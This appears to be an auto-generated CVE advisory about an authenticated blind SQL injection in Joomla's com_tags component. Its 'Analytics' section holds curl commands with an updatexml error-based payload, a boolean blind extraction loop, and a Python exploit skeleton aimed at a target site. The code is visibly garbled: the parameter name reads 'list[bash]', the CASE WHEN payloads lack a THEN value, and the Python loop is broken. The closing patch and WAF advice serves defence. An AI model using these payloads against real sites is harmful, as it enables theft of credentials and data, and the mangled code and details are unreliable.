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The vulnerability resides in Joomla’s `com_tags` component, which handles tag listings. The application does not properly validate user-controlled input that is inserted into the `ORDER BY` clause of an SQL query. An authenticated attacker can manipulate a request parameter (e.g., list
</code>) to inject arbitrary SQL code. Because the application suppresses error messages, the attacker must use a blind SQL injection technique: injecting payloads that cause the query to return `true` or `false` (e.g., `AND 1=1` vs <code>AND 1=2</code>), and observing differences in the resulting page content or response time. By iteratively asking true/false questions, the attacker can extract database schema, table names, and sensitive data. The attack requires authentication (privilege level: any authenticated user) but no special privileges are needed beyond that. The vulnerability affects Joomla versions 4.0.0 through 5.4.5, and 6.0.0 through 6.1.0. Upgrading to versions 5.4.6 or 6.1.1 eliminates the issue. No public exploit code is currently available, but the attack vector is trivial for a skilled adversary.
<h2 style="color: blue;">dailycve form</h2>
Platform: Joomla CMS
Version: 4.0.0-5.4.5,6.0.0-6.1.0
Vulnerability : Authenticated blind SQLi
Severity: Medium (CVSS 6.9)
date: 2026-05-26
<h2 style="color: blue;">Prediction: Patch date 2026-05-26</h2>
<h2 style="color: blue;">Analytics under heading What Undercode Say:</h2>
[bash]
Check Joomla version
grep -E '^\$RELEASE =' /path/to/joomla/includes/version.php
Detect vulnerable com_tags endpoint (requires auth)
curl -X GET 'https://target.com/index.php?option=com_tags&view=tag&task=display&list[bash]=updatexml(1,concat(0x7e,user(),0x7e),1)' \
-H 'Cookie: joomla_session=...' 2>/dev/null | grep -qi 'XPATH syntax error'
Blind SQLi boolean-based detection script
for i in {1..10}; do
curl -s "https://target.com/index.php?option=com_tags&list[bash]=CASE WHEN (ASCII(SUBSTR(user(),$i,1)) > 64) THEN ELSE id END" \
-H 'Cookie: joomla_session=...' | grep -q 'Expected content' && echo "True" || echo "False"
done
Exploit:
import requests
target = "https://target.com/index.php?option=com_tags"
session = requests.Session()
session.cookies.set("joomla_session", "YOUR_SESSION_COOKIE")
def boolean_payload(condition):
return f"CASE WHEN ({condition}) THEN ELSE id END"
Extract database version
ver = ""
for i in range(1, 20):
payload = f"ASCII(SUBSTR(version(),{i},1)) > 64"
r = session.get(f"{target}&list[bash]={boolean_payload(payload)}")
if "expected_true_marker" in r.text:
ver += chr(65) increment accordingly
Actual exploitation would iterate over all possible characters
print(f"Version: {ver}")
Protection from this CVE
- Upgrade immediately to Joomla 5.4.6 or 6.1.1 (or later).
- If patching is not possible, apply a Web Application Firewall (WAF) rule that blocks SQL keywords in the `list[bash]` parameter.
- Sanitize all user inputs that influence `ORDER BY` clauses – use an allowlist of permitted column names and directions.
Impact
An authenticated attacker can read arbitrary data from the database (including user credentials, session tokens, and private content), modify or delete data, and in some configurations escalate to remote code execution or full server compromise. The attack leaves no direct error messages, making detection difficult.
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Sources:
Reported By: nvd.nist.gov
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